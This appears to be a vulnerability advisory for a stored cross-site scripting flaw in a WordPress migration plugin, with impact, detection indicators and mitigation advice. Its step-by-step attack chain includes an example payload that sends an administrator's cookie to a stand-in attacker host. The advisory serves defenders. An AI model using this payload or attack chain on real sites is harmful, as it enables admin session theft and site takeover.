CVE-2026-6128: 
WordPress vulnerability analysis and mitigation

CVE-2026-6128 is a Stored Cross-Site Scripting (XSS) vulnerability in the All-in-One WP Migration Unlimited Extension plugin for WordPress, affecting all versions up to and including 2.84. The flaw exists in the ai1wm_backups_path parameter and is exploitable by authenticated users with Subscriber-level access or above. It was published on August 28, 2026, with a partial patch released in version 2.84. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). It arises from two compounding weaknesses: insufficient input sanitization and output escaping on the ai1wm_backups_path parameter, and missing authorization checks on the plugin's settings() function. Because the authorization check is absent, a low-privileged authenticated user (Subscriber-level or above) can invoke the settings function and persist a malicious script payload. The injected script executes in the browser context of any administrator who subsequently visits the plugin settings page (GitHub Advisory, Wordfence).

Successful exploitation allows an authenticated attacker with minimal privileges to execute arbitrary JavaScript in the browser of a WordPress administrator, enabling session token theft, unauthorized modification of plugin settings, and actions performed on behalf of the administrator. This could lead to full site compromise if the attacker leverages the stolen admin session to install malicious plugins, create rogue admin accounts, or exfiltrate sensitive data. Availability is not directly impacted, but confidentiality and integrity are both affected at a low-to-moderate level (GitHub Advisory, Wordfence).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure. The EPSS score is 0.0, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (GitHub Advisory, Wordfence).

1. Reconnaissance: Identify WordPress sites running the All-in-One WP Migration Unlimited Extension plugin at version 2.84 or earlier. This can be done by inspecting plugin metadata exposed in the site's HTML or via tools like WPScan.
2. Obtain low-privilege account: Register or obtain credentials for a Subscriber-level (or higher) WordPress account on the target site.
3. Craft malicious payload: Prepare a stored XSS payload to be injected via the ai1wm_backups_path parameter, for example: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Invoke the settings() function: Send an authenticated HTTP POST request to the plugin's settings endpoint, supplying the malicious payload in the ai1wm_backups_path parameter. Due to missing authorization checks, the Subscriber-level user can successfully write to this setting.
5. Wait for administrator trigger: The injected script is stored server-side and executes automatically in the browser of any administrator who navigates to the plugin settings page.
6. Harvest session tokens or perform actions: The attacker's script captures the administrator's session cookie or performs privileged actions (e.g., creating a new admin account) on their behalf (GitHub Advisory, Wordfence).

• Logs: WordPress access logs showing POST requests to the All-in-One WP Migration plugin settings endpoint (/wp-admin/admin.php?page=ai1wm_settings or similar) from low-privilege user accounts; unexpected changes to the ai1wm_backups_path option in the WordPress database (wp_options table).
• Database: The ai1wm_backups_path option in wp_options containing HTML script tags or encoded JavaScript payloads.
• Network: Outbound HTTP requests from administrator browsers to unknown external domains shortly after accessing the plugin settings page, potentially carrying cookie or session data in query parameters.
• File System: Unexpected new administrator accounts created in WordPress user tables, or newly installed plugins/themes not authorized by legitimate admins (Wordfence).

The vulnerability was partially patched in version 2.84 of the All-in-One WP Migration Unlimited Extension; site administrators should update to version 2.84 or later and monitor the ServMask changelog for a complete fix (ServMask Changelog). As a workaround, restrict Subscriber-level and other low-privilege user roles from accessing or modifying plugin settings pages where possible. Administrators should also review the ai1wm_backups_path value in the WordPress database for unexpected script content and audit recent changes to plugin settings and user accounts (Wordfence).